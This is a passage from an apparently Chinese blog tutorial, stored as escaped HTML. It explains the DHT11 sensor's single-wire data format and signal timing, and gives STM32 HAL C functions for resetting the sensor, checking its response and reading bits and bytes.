数据传输格式\"\u003e\u003c/a\u003eDHT11 数据传输格式\u003c/h4\u003e\u003cp\u003eDHT11 数字湿温度传感器采用单总线数据格式。即,单个数据引脚端口完成输入输出双向传输。其数据包由 40Bit 组成。数据分小数部分和整数部分,一次完整的数据传输为40bit,高位先出。\u003c/p\u003e\u003cp\u003eDHT11 的数据格式为:\u003cstrong\u003e8bit 湿度整数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 湿度小数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 温度整数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 温度小数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 校验和\u003c/strong\u003e。其中校验和数据为前四个字节相加。\u003cbr\u003e传感器数据输出的是未编码的二进制数据。数据(湿度、温度、整数、小数)之间应该分开处理。例如,某次从 DHT11 读到的数据如下表所示:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003ebyte4\u003c/th\u003e\u003cth\u003ebyte3\u003c/th\u003e\u003cth\u003ebyte2\u003c/th\u003e\u003cth\u003ebyte1\u003c/th\u003e\u003cth\u003ebyte0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0010 1101\u003c/td\u003e\u003ctd\u003e0000 0000\u003c/td\u003e\u003ctd\u003e0001 1100\u003c/td\u003e\u003ctd\u003e0000 0000\u003c/td\u003e\u003ctd\u003e0100 1001\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e湿度 \u003cstrong\u003e整数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e湿度 \u003cstrong\u003e小数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e温度 \u003cstrong\u003e整数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e温度 \u003cstrong\u003e小数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e校验和\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e由以上数据就可得到湿度和温度的值,计算方法:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e湿度\u0026#x3D; byte4 . byte3\u0026#x3D;45.0 (%RH)\u003cbr\u003e温度\u0026#x3D; byte2 . byte1\u0026#x3D;28.0 ( ℃)\u003cbr\u003e校验\u0026#x3D; byte4+ byte3+ byte2+ byte1\u0026#x3D;73(\u0026#x3D;湿度+温度)(校验正确)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eDHT11 的数据格式是十分简单,DHT11 和 MCU 的一次通信最大为 3ms 左右,建议主机连续读取时间间隔不要小于 100ms。 下面,我们介绍一下 DHT11 的传输时序。\u003c/p\u003e\u003ch4 id=\"提前准备\"\u003e\u003ca href=\"#提前准备\" class=\"headerlink\" title=\"提前准备\"\u003e\u003c/a\u003e提前准备\u003c/h4\u003e\u003cp\u003e本次使用数据传输脚:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 数据传输脚 PA12\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eDHT11_DQ_OUT\u003c/span\u003e \u003cspan class=\"token expression\"\u003eGPIO_PIN_12\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e设置数据传输脚为输出:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_IO_OUT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e GPIO_InitTypeDef GPIO_InitStruct \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePin \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eMode \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_MODE_OUTPUT_PP\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePull \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_NOPULL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eSpeed \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_SPEED_FREQ_LOW\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e设置数据传输脚为输入:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_IO_IN\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e GPIO_InitTypeDef GPIO_InitStruct \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePin \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eMode \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_MODE_INPUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePull \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_PULLUP\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_GPIO_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"DHT11-的数据发送流程\"\u003e\u003ca href=\"#DHT11-的数据发送流程\" class=\"headerlink\" title=\"DHT11 的数据发送流程\"\u003e\u003c/a\u003eDHT11 的数据发送流程\u003c/h4\u003e\u003cp\u003eDHT11 的数据发送流程如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-1.png\" alt=\"DHT11 的数据发送流程\"\u003e\u003c/p\u003e\u003ch5 id=\"开始信号\"\u003e\u003ca href=\"#开始信号\" class=\"headerlink\" title=\"开始信号\"\u003e\u003c/a\u003e开始信号\u003c/h5\u003e\u003cp\u003e首先主机发送 \u003cstrong\u003e开始信号\u003c/strong\u003e,即:拉低数据线,保持 t1(至少 18ms)时间,然后 \u003cstrong\u003e拉高数据线\u003c/strong\u003e t2(20~ 40us)时间,然后读取 DHT11 的响应。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-2.png\" alt=\"DHT11 开始信号\"\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e复位DHT11\u003c/strong\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-C\" data-language=\"C\"\u003e\u003ccode class=\"language-C\"\u003evoid DHT11_Rst(void) \u0026#123; DHT11_IO_OUT(); \u0026#x2F;\u0026#x2F;SET OUTPUT HAL_GPIO_WritePin(GPIOA, DHT11_DQ_OUT, GPIO_PIN_RESET); delay_ms(20); \u0026#x2F;\u0026#x2F;拉低至少18ms HAL_GPIO_WritePin(GPIOA, DHT11_DQ_OUT, GPIO_PIN_SET); delay_us(30); \u0026#x2F;\u0026#x2F;主机拉高20~40us\u0026#125;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"响应信号\"\u003e\u003ca href=\"#响应信号\" class=\"headerlink\" title=\"响应信号\"\u003e\u003c/a\u003e响应信号\u003c/h5\u003e\u003cp\u003eDHT11的 \u003cstrong\u003e响应\u003c/strong\u003e :正常的话,DHT11 会 \u003cstrong\u003e拉低\u003c/strong\u003e 数据线,保持 t3(40~50us)时间,作为响应信号,然后 DHT11 \u003cstrong\u003e拉高\u003c/strong\u003e 数据线,保持 t4(40 ~50us)时间后,开始输出数据。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-3.png\" alt=\"DHT11 开始信号\"\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e检测DHT11的回应\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回1:未检测到DHT11的存在\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//返回0:存在\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Check\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_IO_IN\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//SET INPUT\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//DHT11会拉低40~80us\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//DHT11拉低后会再次拉高40~80us\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"DHT11-发送数据\"\u003e\u003ca href=\"#DHT11-发送数据\" class=\"headerlink\" title=\"DHT11 发送数据\"\u003e\u003c/a\u003eDHT11 发送数据\u003c/h5\u003e\u003cp\u003e总线为低电平,说明DHT11发送响应信号,DHT11发送响应信号后,再把总线拉高80us,准备发送数据。\u003c/p\u003e\u003cp\u003e每一bit数据都以50us低电平时隙 \u003cstrong\u003e开始\u003c/strong\u003e ,\u003cstrong\u003e高电平的长短\u003c/strong\u003e 定了数据位是0还是1。\u003c/p\u003e\u003cp\u003e如果读取响应信号为高电平,则DHT11没有响应,请检查线路是否连接正常。当最后一bit数据传送完毕后,DHT11拉低总线50us,随后总线由上拉电阻拉高进入空闲状态。\u003c/p\u003e\u003ch5 id=\"DHT11-发送-0\"\u003e\u003ca href=\"#DHT11-发送-0\" class=\"headerlink\" title=\"DHT11 发送 0\"\u003e\u003c/a\u003eDHT11 发送 0\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e高电平是26-28us就表示0。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-4.png\" alt=\"DHT11 发送0\"\u003e\u003c/p\u003e\u003ch5 id=\"DHT11-发送1\"\u003e\u003ca href=\"#DHT11-发送1\" class=\"headerlink\" title=\"DHT11 发送1\"\u003e\u003c/a\u003eDHT11 发送1\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e高电平是70us表示1。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-5.png\" alt=\"DHT11 发送0\"\u003e\u003c/p\u003e\u003ch5 id=\"接收数据\"\u003e\u003ca href=\"#接收数据\" class=\"headerlink\" title=\"接收数据\"\u003e\u003c/a\u003e接收数据\u003c/h5\u003e\u003cp\u003e主机只要读取等待50us低电平过去,然后再判断高电平长短就能收集数据了。\u003c/p\u003e\u003cp\u003e从DHT11读取一个位:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回值:1/0\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Bit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待变为低电平\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待变高电平\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待40us\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e读取8次为一个字节:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回值:读到的数据\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Byte\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003edat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003edat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e dat\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token 